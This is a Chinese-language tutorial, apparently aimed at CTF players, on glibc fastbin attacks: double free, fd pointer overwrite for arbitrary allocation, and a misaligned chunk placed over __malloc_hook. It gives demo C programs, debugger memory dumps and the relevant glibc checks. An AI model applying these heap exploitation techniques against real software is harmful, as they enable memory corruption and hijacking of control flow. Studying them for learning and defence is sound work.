介绍 fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:
存在堆溢出、UAF等能控制chunk内容的漏洞
漏洞发生于fastbin类型的chunk中
fastbin attack大致可以分为一下几类:
Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc
其中前两个漏洞侧重利用free函数释放真的chunk或伪造的chunk 。然后再次申请chunk进行攻击,后两种侧重于故意修改fd指针,直接利用malloc申请指定位置chunk进行攻击。
原理 fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来看一下 fastbin 是怎样管理空闲 chunk 的。
1 2 3 4 5 6 7 8 9 10 11 12 int main (void ) { void *chunk1,*chunk2,*chunk3; chunk1=malloc (0x30 ); chunk2=malloc (0x30 ); chunk3=malloc (0x30 ); free (chunk1); free (chunk2); free (chunk3); return 0 ; }
释放前
1 2 3 4 5 6 7 8 9 10 11 12 13 0x602000 : 0 x0000000000000000 0 x0000000000000041 <=== chunk10x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000000000 0x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000041 <=== chunk20x602050 : 0 x0000000000000000 0 x0000000000000000 0x602060 : 0 x0000000000000000 0 x0000000000000000 0x602070 : 0 x0000000000000000 0 x0000000000000000 0x602080 : 0 x0000000000000000 0 x0000000000000041 <=== chunk30x602090 : 0 x0000000000000000 0 x0000000000000000 0x6020a0 : 0 x0000000000000000 0 x0000000000000000 0x6020b0 : 0 x0000000000000000 0 x0000000000000000 0x6020c0 : 0 x0000000000000000 0 x0000000000020f41 <=== top chunk
执行三次 free 进行释放后
1 2 3 4 5 6 7 8 9 10 11 12 13 0x602000 : 0 x0000000000000000 0 x0000000000000041 <=== chunk10x602010 : 0 x0000000000000000 0 x0000000000000000 0x602020 : 0 x0000000000000000 0 x0000000000000000 0x602030 : 0 x0000000000000000 0 x0000000000000000 0x602040 : 0 x0000000000000000 0 x0000000000000041 <=== chunk20x602050 : 0 x0000000000602000 0 x0000000000000000 0x602060 : 0 x0000000000000000 0 x0000000000000000 0x602070 : 0 x0000000000000000 0 x0000000000000000 0x602080 : 0 x0000000000000000 0 x0000000000000041 <=== chunk30x602090 : 0 x0000000000602040 0 x0000000000000000 0x6020a0 : 0 x0000000000000000 0 x0000000000000000 0x6020b0 : 0 x0000000000000000 0 x0000000000000000 0x6020c0 : 0 x0000000000000000 0 x0000000000020f41 <=== top chunk
此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1 构成了一个单链表
1 2 3 4 Fastbins[idx =2, size =0x30,ptr=0x602080] ===>Chunk(fd =0x602040, size =0x40, flags =PREV_INUSE) ===>Chunk(fd =0x602000, size =0x40, flags =PREV_INUSE) ===>Chunk(fd =0x000000, size =0x40, flags =PREV_INUSE)
Fastbin Double Free astbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。
Fastbin Double Free 能够成功利用主要有两部分的原因
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。
存在UAF漏洞
1 2 3 4 5 6 7 if (__builtin_expect (old == p, 0 )) { errstr = "double free or corruption (fasttop)" ; goto errout; }
演示 下面的示例程序说明了这一点,当我们试图执行以下代码时
1 2 3 4 5 6 7 8 9 10 int main (void ) { void *chunk1,*chunk2,*chunk3; chunk1=malloc (0x10 ); chunk2=malloc (0x10 ); free (chunk1); free (chunk1); return 0 ; }
如果你执行这个程序,不出意外的话会得到如下的结果,这正是 _int_free 函数检测到了 fastbin 的 double free。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 *** Error in `./tst': double free or corruption (fasttop): 0x00000000022000 10 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fbb7a36c7e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037 a)[0x7fbb7a3753 7a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fbb7a3795 3c] ./tst[0x4005 a2] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fbb7a315830 ] ./tst[0x400499 ] ======= Memory map: ========00400000-004010 00 r-xp 00000000 08:01 105257 0 /home/Ox9A82/tst/tst00600000-006010 00 r--p 00000000 08:01 105257 0 /home/Ox9A82/tst/tst00601000-006020 00 rw-p 00001000 08:01 105257 0 /home/Ox9A82/tst/tst02200000-022210 00 rw-p 00000000 00:00 0 [heap] 7fbb74000000 -7fbb74021000 rw-p 00000000 00:00 0 7fbb74021000 -7fbb78000000 ---p 00000000 00:00 0 7fbb7a0df000-7fbb7a0f5000 r-xp 00000000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a0f5000 -7fbb7a2f4000 ---p 00016000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f4000 -7fbb7a2f5000 rw-p 00015000 08:01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fbb7a2f5000 -7fbb7a4b5000 r-xp 00000000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a4b5000 -7fbb7a6b5000 ---p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b5000 -7fbb7a6b9000 r--p 001c0000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6b9000 -7fbb7a6bb000 rw-p 001c4000 08:01 415688 /lib/x86_64-linux-gnu/libc-2.23.so 7fbb7a6bb000-7fbb7a6bf000 rw-p 00000000 00:00 0 7fbb7a6bf000-7fbb7a6e5000 r-xp 00000000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8c7000 -7fbb7a8ca000 rw-p 00000000 00:00 0 7fbb7a8e1000 -7fbb7a8e4000 rw-p 00000000 00:00 0 7fbb7a8e4000 -7fbb7a8e5000 r--p 00025000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e5000 -7fbb7a8e6000 rw-p 00026000 08:01 407367 /lib/x86_64-linux-gnu/ld-2.23.so 7fbb7a8e6000 -7fbb7a8e7000 rw-p 00000000 00:00 0 7ffcd2f9300 0-7ffcd2fb4000 rw-p 00000000 00:00 0 [stack] 7ffcd2fc8000 -7ffcd2fca000 r--p 00000000 00:00 0 [vvar] 7ffcd2fca000-7ffcd2fcc000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000 -ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 已放弃 (核心已转储)
如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。
1 2 3 4 5 6 7 8 9 10 11 int main (void ) { void *chunk1,*chunk2,*chunk3; chunk1=malloc (0x10 ); chunk2=malloc (0x10 ); free (chunk1); free (chunk2); free (chunk1); return 0 ; }
第一次释放free(chunk1)
第二次释放free(chunk2)
第三次释放free(chunk1)
注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2,这时如果我们可以控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。 下面这个示例演示了这一点,首先跟前面一样构造 main_arena=>chunk1=>chun2=>chunk1 的链表。之后第一次调用 malloc 返回 chunk1 之后修改 chunk1 的 fd 指针指向 bss 段上的 bss_chunk,之后我们可以看到 fastbin 会把堆块分配到这里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 typedef struct _chunk { long long pre_size; long long size; long long fd; long long bk; } CHUNK,*PCHUNK; CHUNK bss_chunk;int main (void ) { void *chunk1,*chunk2,*chunk3; void *chunk_a,*chunk_b; bss_chunk.size=0x21 ; chunk1=malloc (0x10 ); chunk2=malloc (0x10 ); free (chunk1); free (chunk2); free (chunk1); chunk_a=malloc (0x10 ); *(long long *)chunk_a=&bss_chunk; malloc (0x10 ); malloc (0x10 ); chunk_b=malloc (0x10 ); printf ("%p" ,chunk_b); return 0 ; }
在我的系统上 chunk_b 输出的值会是 0x601090,这个值位于 bss 段中正是我们之前设置的
CHUNK bss_chunk
1 2 3 4 5 6 7 8 9 10 11 12 CHUNK bss_chunk Start End Offset Perm Path0 x0000000000400000 0 x0000000000401000 0 x0000000000000000 r-x /home/Ox9A82/tst/tst0 x0000000000600000 0 x0000000000601000 0 x0000000000000000 r-- /home/Ox9A82/tst/tst0 x0000000000601000 0 x0000000000602000 0 x0000000000001000 rw- /home/Ox9A82/tst/tst0 x0000000000602000 0 x0000000000623000 0 x0000000000000000 rw- [heap]0x601080 <bss_chunk>: 0 x0000000000000000 0 x0000000000000021 0x601090 <bss_chunk+16 >:0 x0000000000000000 0 x0000000000000000 0x6010a0 : 0 x0000000000000000 0 x0000000000000000 0x6010b0 : 0 x0000000000000000 0 x0000000000000000 0x6010c0 : 0 x0000000000000000 0 x0000000000000000
值得注意的是,我们在 main 函数的第一步就进行了bss_chunk.size=0x21;
的操作,这是因为_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 *** Error in `./tst': malloc(): memory corruption (fast): 0 x0000000000601090 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6 (+0x777e5 )[0 x7f8f9deb27e5] /lib/x86_64-linux-gnu/libc.so.6 (+0x82651 )[0 x7f8f9debd651] /lib/x86_64-linux-gnu/libc.so.6 (__libc_malloc+0 x54)[0 x7f8f9debf184] ./tst[0x400636 ] /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0 xf0)[0 x7f8f9de5b830] ./tst[0x4004e9 ] ======= Memory map: ========00400000 -00401000 r-xp 00000000 08 :01 1052570 /home/Ox9A82/tst/tst00600000 -00601000 r--p 00000000 08 :01 1052570 /home/Ox9A82/tst/tst00601000 -00602000 rw-p 00001000 08 :01 1052570 /home/Ox9A82/tst/tst00 bc4000-00 be5000 rw-p 00000000 00 :00 0 [heap]7 f8f98000000 -7 f8f98021000 rw-p 00000000 00 :00 0 7 f8f98021000 -7 f8f9c000000 ---p 00000000 00 :00 0 7 f8f9dc25000-7 f8f9dc3b000 r-xp 00000000 08 :01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7 f8f9dc3b000-7 f8f9de3a000 ---p 00016000 08 :01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7 f8f9de3a000-7 f8f9de3b000 rw-p 00015000 08 :01 398790 /lib/x86_64-linux-gnu/libgcc_s.so.1 7 f8f9de3b000-7 f8f9dffb000 r-xp 00000000 08 :01 415688 /lib/x86_64-linux-gnu/libc-2 .23 .so7 f8f9dffb000-7 f8f9e1fb000 ---p 001c0000 08 :01 415688 /lib/x86_64-linux-gnu/libc-2 .23 .so7 f8f9e1fb000-7 f8f9e1ff000 r--p 001c0000 08 :01 415688 /lib/x86_64-linux-gnu/libc-2 .23 .so7 f8f9e1ff000-7 f8f9e201000 rw-p 001c4000 08 :01 415688 /lib/x86_64-linux-gnu/libc-2 .23 .so7 f8f9e201000 -7 f8f9e205000 rw-p 00000000 00 :00 0 7 f8f9e205000 -7 f8f9e22b000 r-xp 00000000 08 :01 407367 /lib/x86_64-linux-gnu/ld-2 .23 .so7 f8f9e40d000 -7 f8f9e410000 rw-p 00000000 00 :00 0 7 f8f9e427000 -7 f8f9e42a000 rw-p 00000000 00 :00 0 7 f8f9e42a000 -7 f8f9e42b000 r--p 00025000 08 :01 407367 /lib/x86_64-linux-gnu/ld-2 .23 .so7 f8f9e42b000 -7 f8f9e42c000 rw-p 00026000 08 :01 407367 /lib/x86_64-linux-gnu/ld-2 .23 .so7 f8f9e42c000 -7 f8f9e42d000 rw-p 00000000 00 :00 0 7 fff71a94000 -7 fff71ab5000 rw-p 00000000 00 :00 0 [stack]7 fff71bd9000-7 fff71bdb000 r--p 00000000 00 :00 0 [vvar]7 fff71bdb000-7 fff71bdd000 r-xp 00000000 00 :00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00 :00 0 [vsyscall] 已放弃 (核心已转储)
_int_malloc 中的校验如下
1 2 3 4 5 6 7 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr (check_action, errstr, chunk2mem (victim)); return NULL ; }
小总结 通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。
House Of Spirit 可以看这篇博客
Alloc to Stack && Arbitrary Alloc 介绍 对于这两个技术,我个人感觉十分相似,都是篡改fd指针指向伪造的chunk,而第二种技术相对来说,涵盖了第一种,我们直接简绍第二种
事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
演示 在这个例子,我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int main (void ) { void *chunk1; void *chunk_a; chunk1=malloc (0x60 ); free (chunk1); *(long long *)chunk1=0x7ffff7dd1af5 -0x8 ; malloc (0x60 ); chunk_a=malloc (0x60 ); return 0 ; }
这里的 0x7ffff7dd1af5 是我根据本机的情况得出的值,这个值是怎么获得的呢?首先我们要观察欲写入地址附近是否存在可以字节错位的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0x7ffff7dd1a88 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1a90 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1a98 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1aa0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1aa8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ab0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ab8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ac0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ac8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ad0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ad8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ae0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1ae8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1af0 0 x60 0 x2 0 xdd 0 xf7 0 xff 0 x7f 0 x0 0 x00x7ffff7dd1af8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1b00 0 x20 0 x2e 0 xa9 0 xf7 0 xff 0 x7f 0 x0 0 x00x7ffff7dd1b08 0 x0 0 x2a 0 xa9 0 xf7 0 xff 0 x7f 0 x0 0 x00x7ffff7dd1b10 <__malloc_hook>: 0 x30 0 x28 0 xa9 0 xf7 0 xff 0 x7f 0 x0 0 x0
0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这个程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80),如下:
1 2 3 4 5 6 7 8 Fastbins[idx=0 , size=0x10 ] Fastbins[idx=1 , size=0x20 ] Fastbins[idx=2 , size=0x30 ] Fastbins[idx=3 , size=0x40 ] Fastbins[idx=4 , size=0x50 ] Fastbins[idx=5 , size=0x60 ] Fastbins[idx=6 , size=0x70 ]
通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个 0x000000000000007f
1 2 3 4 0x7ffff7dd1af0 0 x60 0 x2 0 xdd 0 xf7 0 xff 0 x7f 0 x0 0 x00x7ffff7dd1af8 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x0 0 x00x7ffff7dd1af5 <_IO_wide_data_0+309 >: 0 x000000000000007f
因为 0x7f 在计算 fastbin index 时(64位),是属于 index 5 的,即 chunk 大小为 0x70 的。
1 2 ##define fastbin_index(sz) ((((unsigned int ) (sz)) >> (SIZE_SZ == 8 ? 4 : 3 )) - 2 )
(注意 sz 的大小是 unsigned int,因此只占 4 个字节)
而其大小又包含了 0x10 的 chunk_header,因此我们选择分配 0x60 的 fastbin,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook 的内容 (在我的 libc 中__realloc_hook 与__malloc_hook 是在连在一起的)。
1 2 3 4 5 6 7 8 9 0x4005a8 <main+66 > call 0x400450 <malloc@plt> → 0x4005ad <main+71 > mov QWORD PTR [rbp -0x8 ], rax $rax : 0x7ffff7dd1afd 0x7ffff7dd1aed <_IO_wide_data_0+301 >: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd : 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5 >: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d : 0x0000000000000000 0x0000000000000000
小总结 Arbitrary Alloc 在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。